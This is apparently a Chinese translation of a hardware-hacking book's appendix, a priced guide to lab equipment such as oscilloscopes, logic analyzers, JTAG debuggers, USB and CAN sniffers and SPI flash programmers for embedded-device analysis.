  6. 将芯片加热,直到焊球重新流动到芯片表面(见图 A-9),这要求焊球的尺寸与设备的焊盘尺寸相匹配(在此示例中,尺寸已标示在模板上)。你可能会找到带有多种焊球(球体)尺寸的工具包。

faa008

图 A-8:带助焊剂的 IC 粘贴在模板上。请注意,BGA 与模板的匹配不完全,留下了些许没有焊盘的深色孔洞。

由于这些套件很多来自未知来源(如果你在亚马逊上购买的话),你可能希望选择一个更有信誉的来源。Chip Quik 制作了多个焊球套件;例如,如果你使用的是 0.4mm 的焊球,Chip Quik 的零件号 SMD2032-25000 可以通过 Digi-Key 购买,价格不到 $30,提供 25,000 个 0.4mm 的焊球。

最后关于 BGA 的注意事项,建议调查与你感兴趣的零件相关的低成本夹具和模板的可用性。你可以找到几个低成本的BGA 返球夹具,它们适用于更常见的零件,简化了将 BGA 和模板正确对齐并固定的任务。

faa009

图 A-9:使用热风熔化焊球完成任务。 图 A-8 中丢失的焊盘不应有焊球——额外的焊球无法粘附到焊盘上,容易从模板孔中出来并导致短路。

修改 PCB:$5 到 $700

修改 PCB(包括切割线路以插入电阻器进行分流、重新布线或接入数据线)是另一项常见任务。虽然你可以使用简单的 X-Acto 刀来完成大部分工作,但旋转工具可能会更有用。

你在五金店购买的旋转工具通常会配有太大尺寸的附件,这些附件不适合在 PCB 上使用。相反,应该寻找类似 Foredom K.1070 高速旋转微型电动工具套件(见 图 A-10)的工具。这款工具的转速最高可达 38,000 RPM,拿在手里时你会感受到差异。这是因为它使用了高质量的轴承,远远超过了你在当地五金店可以买到的普通品牌旋转工具。

如果你购买这款特定的工具,请务必选择带有 3/32 英寸卡盘选项的版本。这样你可以为其购买一些小型旋转头,如 Foredom AK211 套件,这样你就可以从设备的背面钻取一个单独的 BGA 球,甚至可以附着在没有连接到 PCB 的 BGA 球上。

你还会发现轻型打磨头,例如 Foredom A-71 非常有用。这款打磨头可以轻松去除 PCB 上的焊料掩膜而不会损坏底下的线路,非常适合你需要接入多个线路时,比如数据总线。

faa010

图 A-10:Foredom 高速旋转微型电动工具套件

光学显微镜:$200 到 $2,000

根据修改 PCB 的需求,你可能需要观察这些修改。通常的标准是使用立体显微镜(见 图 A-11)。这些显微镜提供立体视图,保持了你的深度感知,使你更容易看到当焊接铁或旋转工具接触到 PCB 时。

faa011

图 A-11:一款低成本的 AmScope 单臂光学显微镜,具有 10× 或 20× 的总放大倍数(可切换)

你也许可以在本地找到一台二手显微镜,但如果是购买新的,低成本选项是 AmScope 品牌,通常可以在亚马逊上找到。在评估不同选项时,请考虑双臂支架显微镜比单臂支架显微镜更不容易自行旋转,这是一些低成本单臂支架显微镜常见的问题。

总放大倍数是目镜放大倍数和物镜放大倍数的组合。对于电路板焊接,10×到 30×的总放大倍数是有用的,例如,这可能意味着物镜放大倍数为 1×,目镜为 20×。有些显微镜,你可能会发现需要在物镜阶段添加一个巴洛透镜。巴洛透镜可以减少放大倍数(典型值为 0.5×),但它增加了显微镜的焦距,这样你就有更多的空间在显微镜下放置你的电路板和工具。

拍摄电路板:$50 到$2,000

如果你在记录工作内容时,你也会想拍摄电路板级别的项目,这需要使用带有视频摄像头的显微镜。较便宜的选项包括亚马逊及类似平台上的多种低成本 USB 或 Wi-Fi 显微镜,它们提供了很高的性价比,价格在$20 到$40 之间(图 A-12 展示了一个例子)。

faa012

图 A-12:一款低成本 USB 显微镜

如果你试图将这些 USB 显微镜用于实时焊接(作为视觉显微镜的替代),请注意,由于 USB 连接,它们有时会出现延迟,这可能使得实时使用变得困难。

如果你购买一台三目显微镜(而不是仅仅购买立体显微镜),你可以添加相机来拍摄你所看到的图像,并且还可以将相机的图像广播到屏幕上,用于培训或教育环境。你可以从之前提到的低成本 AmScope 制造商那里找到价格合理的三目显微镜,价格在$500 到$1,000 之间。

你还可以找到只包含相机部分的单目数字显微镜,通常带有 HDMI 和 USB 输出。通过 HDMI/VGA 输出的延迟通常比 USB 小,这意味着使用外部显示器时,它们也可以提供一个良好的拍照或检查电路板的方法,避免了长时间通过显微镜目镜观看所带来的眼睛疲劳。如果你计划将相机输出用于实时反馈(例如焊接或探针操作),选择一个具有 HDMI 或 VGA 输出的相机将帮助你避免因 USB 延迟而可能引发的困扰。

目标电源供应:$10 到$1,000

另一个常见的任务是为目标提供电源,这通常最容易通过台式电源供应器来完成。这些设备允许你配置要提供的电压和(最大)电流。各种电源供应器可从常规测试设备供应商处购买,但一个性价比高的选项是 Rigol Technologies 的 DP832。

更复杂(以正面意义而言)的目标电源选择是 EEZ Bench Box 3,它是开源硬件,允许多种计算机控制选项。

在低端市场,许多额外的桌面电源选择可供选择。你当地的商店可能会有低成本的桌面电源。由于许多电源中的重型变压器与不同的本地市场认证要求相结合,全球范围内有各种不同的供应商和解决方案,因此很难推荐特定的型号。

对于只需要简单电源的目标,你可以使用 AC-DC “墙插”电源砖,这些电源砖可以通过废弃电子设备免费获得。它们还可以与低成本的无品牌可调稳压器结合使用,你可以在亚马逊(或类似平台)上找到这些稳压器,从而以极低的成本提供可调电源。这些便宜的选项有一个代价:它们的噪声输出相对较高,可能会对你之后进行的任何旁信道分析产生负面影响。

查看模拟波形(示波器):300 美元到 2.5 万美元

虽然示波器有多种用途,通常你需要查看模拟波形,这也是许多任务的一部分,例如查看两个设备之间的 I/O 模式、检查电压水平、观察复位引脚活动或其他任何事情。我们还将它们用于旁信道功率分析测量,但我们会在与更一般的调查用途分开讨论这种用例。

进行一般调查有许多选择。最受欢迎的低成本示波器品牌是 Rigol,特别是 Rigol DS1054Z。Rigol 示波器仍然具有良好的探头质量和合理的性能,因此尽管价格较低,但它们并不会像你预期的那样显得便宜。最近,Rigol 还推出了高性能设备,它们的性价比仍然比更知名的品牌要好。

更常见的品牌,如 Keysight(以前的 Agilent 和 HP)、Tektronix 和 Teledyne LeCroy,也提供相当种类的示波器。这些公司经常推出捆绑各种配件的促销活动,因此即使你预算有限,也不要排斥品牌示波器。注意那些只有“品牌名”部分的型号——也就是说,这些是非常低成本的“版本”,但仍然带有品牌名。这些低端设备通常是其他厂商示波器的重新品牌化版本,这意味着它们并不是内部设计的,也没有实际使用高端型号所涉及的丰富经验。而且,因为供应商不想蚕食高端示波器市场,它们通常在重要方面有限制,这会使它们在“实际”工作中不那么有用(但在大学实验室等地方使用则没问题)。我们将在下一节“内存深度”中通过 Keysight EDUX1002A 示波器的例子来展示这一点,其中 EDUX1002A 的内存深度有限,因此不适合用于功率分析工作。

如果你的预算较高,选择一个知名品牌的设备可能会使未来扩展更加容易,因为你可以利用大量的探头和配件。虽然存在一定的跨平台兼容性,但许多探头和配件通常在原厂品牌的设备上工作最佳。因此,你可能会考虑购买某个特定的示波器或品牌,以便未来使用时需要的探头是 Rigol(或类似品牌)没有提供的。如果有机会,最好亲自试用几款不同的设备(通常在展会时可以这样做)。不同设备的界面确实有所不同,因此你可能会发现自己有个人的偏好。一些公司甚至允许你按天/周/月租用高端示波器。如果你正在为实验室采购设备,花一些租赁时间确保示波器在实际应用中可行,可能会帮你避免一次昂贵的错误。

关于示波器使用的最后一点:另一种选择是使用基于计算机的示波器,其中 PicoScope 是最受欢迎的。我们强烈推荐这些设备,因为你可以在一个小巧的设备中获得大量功能。它们也容易编程,因为有多种语言的 API 可用。不过,有些人更喜欢物理旋钮的操作感,因此使用基于 PC 的示波器有时更多的是个人偏好。

在选择用于一般用途的示波器时,重要的考虑因素包括采样率(通常以 MS/s 或 GS/s 为单位)、模拟带宽内存深度。我们将简要讨论如何选择示波器,重点考虑一般用途(另外,我们将在其他部分讨论侧信道测量)。

内存深度

较大的内存深度使你能够捕获长时间的波形,例如设备的整个启动过程。低端示波器和低成本品牌的示波器通常内存深度有限,即使它们的带宽和采样率看起来不错。例如,Keysight 的 1000-X 系列旨在与 Rigol 的产品竞争。DSOX1102A(大约 700 美元)仅提供 1 Mpts(百万个采样点)的内存深度。其教育版 EDUX1002A(大约 500 美元)提供的内存深度甚至更小,为 100 kpts。相比之下,Rigol 的 DS1054Z 提供 24 Mpts 的内存深度。但这在实际使用中意味着什么呢?

假设你以 1 GS/s 的速度进行采样,即每秒钟写入 10 亿个样本到存储器。虽然 EDUX1002A 在触发后只会存储 0.1 毫秒的波形(计算方式为 100,000 样本存储/1,000,000,000 样本/秒 = 0.0001 秒)。同样的采样率下,Rigol 将提供 24 毫秒的记录波形。如果需要更长的波形记录,你可以降低采样率。如果我们将采样率降低到 100 MS/s,Rigol 会存储 240 毫秒的数据,而 EDUX1002A 仍然只会存储 1 毫秒的波形。Tektronix 低端型号(TBS1000)甚至更差,存储深度仅为 2.5 kpts!稍微升级到中端的 Tektronix,比如 MDO3000 系列,提供了更合理的 10 Mpts,因此在比较设备时需要留意这一点。

PC 基础的示波器在存储深度方面表现出色。低端的 PicoScope 2204A 系列起始时只有 8 kpts,但稍微提升到 2206B(约 350 美元),就能提供 32 Mpts —— 这是一些大品牌的 1 万美元或 2 万美元示波器都没有的较大缓冲区。

对于一般的探索,存储深度很重要,因为我们通常并不知道自己正在寻找什么。到了实际攻击的时候,我们很少需要这么大的存储深度,因为我们测量的是一个非常特定的时刻。但如果我们需要记录整个启动过程的信息,我们可能无法立刻知道 100 毫秒的启动过程中哪一部分才是关键。虽然我们可以通过调整采样率与存储深度之间的平衡来记录更长的时间,但我们推荐至少设置 1 Mpts 的缓冲区。购买缓冲区过小的示波器会让你在观察更复杂的动作序列时感到沮丧,并且会使得本书中描述的一些任务变得困难。

采样率

采样率 是内部模数转换器(ADC)运行的速度。你通常会看到类似于 1 GS/s 或 100 MS/s 的标识,分别意味着每秒进行 10 亿次转换和 1 亿次转换。对于一般探索,一个好的经验法则是,采样率应比你想要观察的数字信号快 5 到 10 倍。如果你计划探测 50 MHz 的 SPI 流量,那么你可能需要一个 500 到 1000 MS/s 的示波器。这种 5× 到 10× 的采样率意味着你可以真正“感知”波形的形状,这对于查看波形变化的实际速度以及是否存在波形故障是非常有用的。

如果你的采样过于缓慢,实际上会由于一种叫做 混叠 的效应而导致错误的波形。你可以找到这种现象的理论图示,但它在现实生活中是什么样的呢?我们生成了一个 60 MHz 的波形并将其输入到示波器中,得到的示波器屏幕如 图 A-13 所示。

faa013

图 A-13:来自信号发生器的 60 MHz 方波,以 2500 MS/s 采样

然后我们将示波器的采样率更改为 100 MS/s(见图 A-14)。你会注意到,示波器捕获到的频率根本不是 60 MHz;你可以在图的底部看到,示波器识别到的是 33.59 MHz 的信号。如果你不知道这实际上是一个 60 MHz 的信号,什么也看不出明显的问题!示波器通常会有抗混叠滤波器,用来消除超过示波器最大采样率的频率,但如果你选择的采样速度太慢(像我们这里做的那样),你仍然会遇到问题。

图 A-15 显示了如果采样频率降到 5 MS/s 会发生什么情况。现在测得的信号频率是 19.88 Hz!

尽管在理论上 60 MHz 是 5 MHz 的整数倍,但我们会期望混叠显示为 0 MHz 信号:一条平直的线。然而,实际上,信号发生器和示波器的频率都会略微偏离基准频率,这会表现为由于混叠导致的(低)频率。

faa014

图 A-14:来自信号发生器的 60 MHz 方波,采样率为 100 MS/s;由于混叠,测得的频率是不正确的。

faa015

图 A-15:来自信号发生器的 60 MHz 方波,在 5.00 MS/s 采样下;测得的频率是信号发生器时钟和示波器时间基准之间的“拍频”,这是一个混叠问题。

带宽

与采样率相关的是模拟带宽。示波器的前端会有一个滤波器,防止过高的频率传递到采样电路,带宽表示这个频率开始“衰减”的位置。仍然有一些高频信号会通过,因为滤波器并不完美。表征滤波器的公认方法称为“3 dB”点,这意味着衰减后的信号幅度是实际幅度的 70.7%。

当示波器的带宽为 100 MHz 时,这意味着如果你将一个 10 MHz、1 V 的正弦波输入示波器,你会看到一个幅度为 1 V 的 10 MHz 正弦波(如预期)。但是如果你将一个 100 MHz 的正弦波输入示波器,你只会看到一个幅度为 0.707 V 的信号。当你增加正弦波的频率时,正弦波的幅度会减小。

如果你讨论的是数字采样,情况稍有不同。数字方波实际上有“无限”的频率存在。实际上,你不需要如此无限的带宽,但比数字波形高 2.5 倍到 5 倍的带宽可以保持边缘的清晰度。举个例子,图 A-16 显示了一个 18 MHz 的方波,在 2.5 GS/s 的采样率下,用 250 MHz 的模拟带宽进行采样。

faa016

图 A-16:一个 18 MHz 的方波通过 250 MHz 带宽时是干净的。

将图 A-16 与图 A-17 中相同的 20 MHz 模拟带宽的方波进行对比(我们使用的示波器具有切换带宽的能力)。

现在许多示波器的带宽(有时还包括采样率)是“现场可升级”的解决方案,这意味着示波器硬件已经具备更高的带宽,但你需要付费解锁该功能。探头本身可能与型号匹配,因此如果你订购的是 100 MHz 带宽的示波器,它只会配备 100 MHz 带宽的探头。在许多型号中,你可以在线查找到关于如何进行此升级过程的信息,你可能会发现,购买一个较低端的示波器并以后解锁更高的采样率和带宽符合你的预算。

faa017

图 A-17:一个 18 MHz 的方波以 20 MHz 带宽的正弦波形式出现,因为没有更高频率的成分。

其他功能

本书不是一本“电子学入门”书籍,因此我们不会过多地讨论其他功能。你经常会看到一种功能是能够解码某些信号,比如 RS232 和 I2C。这是一个有用的功能,但在实践中,使用逻辑分析仪来完成这个任务通常更为简单(下面将进行讨论)。

有用的一个特性是,当解码功能还可以生成触发信号时——也就是说,你可以在数字 I/O 数据字节上触发模拟示波器测量。许多支持解码的示波器也支持这种实时触发功能。你通常也可以将这个触发信号发送到“触发输出”连接器,这样就能触发故障注入设备。

逻辑波形查看:$300 到 $8,000

与查看模拟波形相比,查看数字波形通常意味着只能在数据总线上看到零和一。一个典型的数据捕获类似于图 A-18,这是监测 SPI 数据传输及串行接口的一个例子。

有几个主要的逻辑分析仪工具供应商,但我们将主要关注基于 PC 的仪器,因为在使用逻辑分析仪时,你更常设置数字解码功能并导出数据。在 PC 上执行这些操作要容易得多,因此逻辑分析仪通常非常适合基于 PC 平台。

faa018

图 A-18:逻辑分析仪捕获示例

对于基于 PC 的平台,最著名的供应商是 Saleae。该公司的产品如此成功,以至于早期版本被广泛仿造并在各种市场上以超低价格(低于$10)出售,作为廉价的逻辑分析仪。Saleae 分析仪的最新版本在每个引脚上都可以进行模拟和数字测量,这使你可以查看“现实生活”中的情况(模拟域),同时尝试将其转化为简单的 1 和 0。这在调查过程中也非常有用,因为有时你不确定实际使用的逻辑电平(是 1.8 V、3.3 V 等吗?)。Saleae 的软件使得解码各种协议变得容易,并能观察整个系统中发生的情况。该软件支持几乎所有你可能遇到的协议,因此它是你工具箱中的关键部分,值得推荐。

Saleae Logic 硬件通过将数据流回计算机来工作,这意味着捕获长度没有实际限制。如果你的计算机能跟得上,你可以捕获数小时的数据。由于数字数据可以轻松压缩(你不需要存储常量状态),与模拟测量采样相比,数字文件要合理得多。

Saleae Logic 的唯一缺点是引脚数量。最大型号的 16 个输入可能不足够。而尽管 Saleae Logic Pro 16 具有 16 个输入,但它只能在 6 个通道上保持 500 MS/s 的采样率;启用所有 16 个通道会将数字采样率降至 125 MS/s。如果你计划监听一个大型总线,Saleae 可能不是最好的选择。

如果你需要更多的信号,Intronix LA1034 LogicPort 是一款相对较旧的设备,但依然具有很强的竞争力。它具有 34 个输入通道,并且在所有 34 个通道上以 500 MS/s 的速率进行采样,提供了市场上最具性价比的选择之一。

我们没有涉及其他工具的几个供应商,而是想提供一些提示。如果你想选择一个高端工具,NCI Logic Analyzers 生产的 GoLogicXL 系列提供了 36 或 72 个通道,采样速率为 4 GS/s。GoLogicXL 还提供硬件触发功能,接下来我们将讨论这一点。

串行总线触发:$300 到$8,000

Saleae 逻辑分析仪通过将“原始”比特下载到计算机来工作。逻辑分析仪并不理解它是否是 I2C、UART 或 SPI 流量,这对于分析来说没问题,但如果你需要对特定字节进行触发怎么办?

触发特定数据是一个常见的任务。许多广告支持“硬件触发”的逻辑分析仪,仅能在提供给逻辑分析仪输入的特定数字模式上触发。例如,一个 8 输入的逻辑分析仪可以配置为在模式“10010111”上触发,甚至可能在这样模式的序列上触发。它通常设计为支持在并行总线上发生内存访问时触发。但如果我们尝试在串行协议上触发,这种简单的基于模式的触发就远远不够灵活了。

在这种情况下,我们需要一台更智能的逻辑分析仪,因为硬件捕获设备必须足够了解协议,才能在特定的数据字节上触发。也就是说,逻辑分析仪本身需要实时解码串行数据,以产生触发信号。

许多逻辑分析仪不支持此功能,因为它们依赖计算机的灵活性来执行协议分析。一些支持串行总线解码的示波器确实支持在解码后的串行数据上触发,但在投资任何给定的示波器之前,检查该功能是否能够用来在特定数据序列上生成触发信号是非常重要的。

许多专业(昂贵的)逻辑分析仪会支持此类功能。例如,NCI GoLogicXL 就支持这一功能,允许你匹配来自各种协议的特定数据包,包括 SPI、CAN、I2C 等。然后可以将该触发输出路由到其他设备——通常是触发示波器,但我们可以根据需要将其用于故障注入或其他任务。

在低成本的一侧,你会发现一些示波器提供“在串行数据上触发”功能,这可能是一个付费升级,或者是示波器在现场可启用的各种选项的一部分。

解码串行协议:$50 到 $8,000

对于 UART 串行 I/O,通常只需要一台 PC 和串行电缆。你可以购买不包含任何电平转换器的USB 转串口电缆,它们可以直接与许多嵌入式系统中的 TTL UART 引脚连接。比如基于 FTDI FT232R 芯片的电缆。你可以在 Linux 上使用GNU Screen,在 Windows 上使用PuTTY,或者使用其他软件应用程序来与接口进行通信,就像它是一个终端一样。

虽然前面的逻辑分析部分假设你想捕获“原始”逻辑电平,但这可能并不必要。你可能只关心例如通过总线传输的 SPI 数据,这是一个更容易完成的任务。这意味着你可以使用一个实现你想嗅探的协议的设备,它将只显示“更高层次”的数据,而不是具体的总线过渡。

一个常见的方法是自行在微控制器上实现协议,然后通过串行接口将数据转发到计算机。Arduino 通常用于这一特定任务。一个优势是,你还可以构建触发逻辑;而不是购买昂贵的逻辑分析仪,你可能能够通过低成本的 Arduino 或类似设备来构建触发逻辑。

一个旨在简化这一过程的开源工具是由 Great Scott Gadgets 开发的GreatFET(见图 A-19)。该工具具有一个微控制器,能够暴露许多你可能需要的常用接口,例如 SPI、I2C 和 UART。此外,它还可以作为一个简单的逻辑分析仪,捕捉实际的线路级过渡。

faa019

图 A-19:GreatFET One 接口设备,来自 Great Scott Gadgets(图片来源:Great Scott Gadgets)

与 GreatFET 依赖微控制器来处理大部分解码工作不同,另一个开源工具Glasgow 接口探测器github.com/GlasgowEmbedded/)配有一个小型 FPGA,可重新配置以实现更复杂的解码操作。在撰写时,Glasgow 刚刚发布,但理论上它能够实现几乎完美的定时触发生成,因此它有可能替代昂贵的逻辑分析仪,承担基于协议级数据触发的任务。我们通常不会提及尚未使用过的工具,但这个工具具有独特的功能集,值得作为你工具集的重要补充,值得深入探索。

商业工具也提供协议嗅探器。Total Phase 提供了一款简单的 I2C/SPI 嗅探器,叫做 Beagle I2C/SPI 嗅探器。它配有图形界面,简化了大规模 I2C 或 SPI 事务的监控,这在逆向工程复杂总线时非常有用。

CAN 总线嗅探与触发:$50 至 $5,000

控制器局域网络(CAN)总线在许多汽车应用中得到了广泛使用,并且有许多低成本和专业级的解决方案可供选择。一些工具可以进行 CAN 通信,如 CANtact、CANbadger 以及 Riscure 的 Huracan。后者的设计目的是能够根据特定的 CAN 流量触发外部故障注入。像许多串行协议一样,你可能会在硬件逻辑分析仪或示波器的串行触发模块中找到基本的触发支持。

Linux 也支持 CAN。通过 SocketCAN,你可以在 Linux 中使用你最喜欢的数据包嗅探工具来查看 CAN 流量。如果你想了解更多关于 CAN 的内容,可以参考 Craig Smith 的Car Hackers Handbook(2016 年),由 No Starch Press 出版,并且可以在 OpenGarages 网站上找到更多与 CAN 相关的工具。

以太网嗅探:$50

你可能认为以太网嗅探“不是硬件话题”,但它对嵌入式系统分析确实很相关:那台设备可能正通过网络传输关于自身的各种有趣信息。

以太网可能是最容易与之交互的高速接口,通常不需要硬件改动。许多小型嵌入式设备都有以太网端口,比如带以太网扩展板的 Arduino 控制器、树莓派以及许多其他低于 10 美元的设备。只需安装正确的软件,如 WireShark 用于嗅探,然后插入以太网电缆。如果你试图被动监控以太网,使用 Great Scott Gadgets 的 Throwing Star LAN Tap 或一台老式网络集线器(而不是交换机)会更有帮助。

通过 JTAG 交互:$20 到 $10,000

JTAG 对于调试和检查设备非常有用。如我们在第二章中讨论的,JTAG 有两个主要用途:边界扫描调试。这两种用途的工具略有不同。某些工具可以同时用于这两种用途,但软件通常是不同的。

通用 JTAG 和边界扫描

使用 JTAG 需要你在板上“找到” JTAG 端口。如果目标使用标准引脚排列,你可能会很幸运,但如果不是,Joe Grand 的 JTAGulator 可以自动检测 JTAG 引脚排列。JTAGulator 是一个自包含的工具(不依赖于主机计算机的软件),因此它通常非常可靠,并且还可以执行各种边界扫描和调试任务。它比通用 JTAG 接口硬件稍微更为小众,但其功能集非常适合硬件黑盒工作,它也支持各种低级别的边界扫描选项,甚至在某些情况下可以作为调试接口使用。

对于纯边界扫描工具(切换引脚或检查状态),TopJTAG 软件是最佳选择之一,而且其许可证费用合理。许多其他商业边界扫描软件的费用高达数千美元,而且表现不如 TopJTAG。

对于开源边界扫描,Viveris JTAG Boundary Scanner (github.com/viveris/jtag-boundary-scanner/) 提供类似的功能,开源 Python 绑定库 (github.com/colinoflynn/pyjtagbs/),名为 pyjtagbs(其中 bs 显然是边界扫描的缩写),允许在 Python 代码中使用该库。

这些库需要一个硬件探针与设备进行连接。最常见的支持选项(包括 TopJTAG 和其他工具)是 SEGGER J-Link 或基于 FTDI FT2232H 的接口电缆。基于 FTDI 的电缆并不特定于任何厂商,但最好的选项之一是 Joe FitzPatrick 的 Tigard 板,它提供电压转换,并附带电压选择和接线电缆,使其易于适配你的目标板。

JTAG 调试

调试 意味着与设备上的调试核心进行交互,这至少允许你读取或重新编程设备,但它也意味着你可以查看和修改内部内存和寄存器。这同样需要软件和硬件的解决方案。软件通常涉及两个部分:与硬件接口的程序和你(人类)交互的更高级别调试软件。

对于开源软件,OpenOCD 项目是硬件接口部分最著名的选择,支持大量硬件接口和目标芯片。其中许多使用 FTDI FT2232H 芯片(例如 Olimex ARM-USB-OCD-H,你可以通过 Digi-Key/Mouser 购买,或之前提到的 Tigard 板)。

另一个不错的低成本选择是 1BitSquared 的Black Magic Probe。这是一款开源工具,支持多种类型的 Arm Cortex-A 或 Cortex-M 设备。务必检查你的特定设备是否在支持列表中。Black Magic Probe 不依赖于 OpenOCD,而是暴露所需的接口给更高级别的调试工具。

再看开源选项,GNU 调试器(GDB) 是你最有可能使用的更高级别的接口软件,并且它有许多基于 GDB 的 GUI。GDB 软件将与 OpenOCD 或 Black Magic Probe 进行接口。

请注意,前面提到的开源工具大多与流行核心(如 Arm 设备,未来可能包括 RISC-V)相关。如果你关注的是不太常见的设备,通常出现在汽车或工业处理器中,那么你可能会面临非常有限(或没有)开源和低成本选项。

在商业(高成本)端,提供了多个涉及硬件和软件解决方案的选择,在我们的经验中,它们通常非常值得花钱。大多数情况下,这些工具会在新设备正式发布之前就提供支持,如果你在专业环境中使用工具,这可以节省你大量时间,因为你可能会发现目标设备与 OpenOCD 不兼容,且需要为其添加支持。

SEGGER 制造了流行的J-Link工具,支持大量 Arm 设备,特别是在 Cortex-M 系列设备上非常受欢迎(一些型号也支持 Cortex-A)。SEGGER J-Link 有多个型号。如果你是学生,SEGGER J-Link EDU 以比任何其他专业工具都要低的价格($20)提供。不同的 J-Link 型号通常还提供评估模式,允许你体验某些功能(例如公司工具中提供的实用 Ozone 调试器),这些功能否则是无法使用的。高端 SEGGER 工具(如 J-Trace Pro)支持非常高速的调试和跟踪接口。

Lauterbach 也有多款支持高速跟踪和调试的 JTAG 产品。Lauterbach 工具,如 PowerDebug Pro 和 PowerDebug USB 3,支持多种设备架构,包括 Arm、PowerPC、Intel、AVR、ARC 等。虽然 Lauterbach 工具的价格可能高于其他产品,但其支持的设备种类非常丰富,因此一个工具可能比多个单独的工具更具成本效益。如果你计划使用不同的架构和设备类型,Lauterbach 工具将非常有用。

其他供应商也提供适用于特定架构的工具。如果你使用的是一些汽车电子控制单元(ECU)中常见的 PowerPC 设备,可能会发现 PEmicro Multilink 是一种性价比较高的选择($200)。在这种情况下,硬件接口工具还需要一个单独的软件许可证来进行调试,尽管你可以自由使用 GDB 及其附带的 GDB 服务器接口进行调试。

PCIe 通信:$100 到 $1,000

PCI Express (PCIe) 在高端嵌入式系统或个人电脑中较为常见。每个供应商都有提供 PCIe FPGA 开发板。有一定 HDL 编程技能的用户,可以配置这些设备来记录内存内容、与其他硬件设备交互,或监控并修改内存中的数据。它们有较高的学习曲线,而且通常价格不菲,但 Lattice 会定期促销其基于 PCIe 的 ECP3 开发板。

PicoEVB 是一款小型 FPGA 平台,符合笔记本电脑的 M.2 标准(见 图 A-20)。它是一个相对低成本的解决方案,适用于现代笔记本电脑,并且提供多个示例来使 PCIe 事务工作。

faa020

图 A-20:PicoEVB,一款适用于笔记本 M.2 插槽的 FPGA,可以用来探索 PCIe。

Broadcom 有一款“USB 3.0 到 PCIe”桥接芯片,USB3380。它可以作为一个 PCIe 设备连接到系统,但也可以配置为将流量传递到 USB 主机,或根据 USB 主机的命令发起 PCIe 事务。USB3880 参考开发板用于 SLOTSCREAMER,这是一款廉价的开源 PCIe DMA 攻击板,用于通过 PCIe 导出和修改系统内存。

USB 嗅探:$100 到 $6,000

处理计算机外设时的一个常见任务是 嗅探 USB 流量。市面上有几款商业化的解决方案,但我们最喜欢的一款是 Total Phase Beagle 480(见 图 A-21)。该设备能够嗅探 USB 2.0 流量(更昂贵的版本也支持 USB 3.0)。虽然相对较贵,但该工具使得处理得到的 USB 数据变得非常简单。由于 USB 协议相对复杂,你支付的更多是分析软件的费用,而非物理硬件。每个 USB 设备至少在 USB 1.1 速度下能够正常工作;因此,一个技巧是插入一个旧款的 USB 1.1 集线器,从而使设备降速到较低的速度。

在开源领域,也有多个选择。如果你需要操控 USB 流量,FaceDancer 是 GoodFET 的衍生工具,它允许你在辅助系统上使用 Python 模拟任何任意的 USB 设备,并进行 USB 中间人攻击。

faa021

图 A-21:Total Phase Beagle USB 嗅探器配有易于使用的图形界面,使得解码协议变得简单。

Colin 开发了 PhyWhisperer-USB,它可以嗅探 USB 2.0 流量。PhyWhisperer-USB 缺少 Total Phase Beagle 480 那样精美的图形界面软件和处理突发流量的缓冲区,因为 PhyWhisperer-USB 首先是为 USB 数据触发而设计的。

最新的 USB 嗅探和破解技术可以在 Kate Temkin 的 LUNA 项目中找到,它也可以从 Great Scott Gadgets 购买。根据本书的写作时,工具处于晚期测试阶段,但它采用了独特的架构,允许它用于嗅探、插入和各种 USB 任务,如接下来描述的触发任务。尽管我们自己没有使用过此工具,但由于其独特的架构,值得特别提及。Colin 曾经说过,如果 LUNA 在他开始开发 PhyWhisperer-USB 时就已经上市,他宁愿自己购买 LUNA 板!LUNA 板能够执行远超嗅探之外的各种 USB 任务。

USB 触发:$250 到 $6,000

除了仅嗅探 USB 数据外,你还可能需要在 USB 数据上进行 触发。触发意味着相对于实际传输的 USB 包“经过线缆”的时刻,你需要生成一个触发信号。一些高端的 USB 嗅探器能够执行此任务;例如,Total Phase Beagle 480 就具备基于 USB 包数据进行触发的能力。

一个低成本的选择是 PhyWhisperer-USB,它是开源硬件,由 NewAE Technology, Inc. 销售(见 图 A-22)。

faa022

图 A-22:PhyWhisperer-USB 是一个用于 USB 触发和分析的开源硬件工具。

该工具专门为 USB 数据包触发设计,因此支持附加功能,如能够为目标设备重新上电,并且提供 Python 3 API 以允许你编写触发机制脚本。如前所述,你可能也能使用 LUNA 项目执行其中一些任务,因此也请查看该项目的最新文档。

USB 模拟:$100

前述工具专注于分析 USB 流量,而非修改它。要进行修改,事实上的工具是开源的 FaceDancer 项目。虽然有多种硬件选项可用,但 GreatFET One(见 图 A-19)在商业上广泛可得,并且支持大多数功能。LUNA 也可以用于插入和模拟 USB 设备,而且 FPGA 的使用使得它能够执行比微控制器更复杂的操作。

SPI 闪存连接:$25 到$1,000

另一个常见的任务是读取SPI 闪存芯片。根据需要完成的任务,有几种可用的选项。一种商业选项是 SEGGER J-Link Plus(或该系列中的任何高端型号),它主要作为一种强大的调试适配器,用于基于 Arm 的微控制器。如果你正在购买(或已经拥有)J-Link 用于调试任务,它也可以作为一个优秀的 SPI 闪存编程器,使用“J-Flash SPI”软件。

你可能还需要一个SOIC 夹具适配器,用于连接 SPI 闪存芯片。这些通常可以从制造商 Pomona 获得,型号为 5250(也有一些来自无名制造商的低价选项)。

有几种方式可以与 SPI 设备进行接口。FTDI FT232H 芯片是 FTDI USB-串行适配器的强化版,也支持 SPI。DediProg 生产 StarProg-A 系列设备,主要用于在电路中编程 EEPROM,而 Minipro TL866II 通用编程器也可以就地刷写一些 SPI 设备。Flashrom工具支持通过内置的 SPI 进行编程,例如在 Raspberry Pi 或 BeagleBone Black*上,以及包括 FT232H 芯片在内的外部编程器,如前面提到的 Tigard。对于价格敏感但仍然相对易用的替代方案,可以考虑 FlashcatUSB。

要与除存储设备以外的 SPI 设备进行接口,最好的选择是使用Bus Pirate与设备进行交互式通信,或者使用支持 SPI 控制器的硬件或软件微控制器。为了物理连接读卡器和设备,推荐查看mini-grabber**sSOIC 夹具。前者适合连接到单个引脚,而夹具可以让你连接到 SOIC 封装的所有引脚。最近,你会发现 Raspberry Pi 是一个很有用的接口工具。它们的优势是速度比可靠的 Bus Pirate 要快得多,后者可能需要几分钟才能读取一个大型 SPI 闪存芯片。

功率分析测量:$300 到$50,000

我们终于开始讨论本书特定的设备了。不过,我们不是已经讨论过示波器了吗?这难道不够用于功率分析测量吗?实际上,你可能会发现对于功率分析测量有与更一般的电路探索不同的需求。事实上,你甚至可能会用一台设备进行一般探索,而用另一台设备执行功率分析工作。

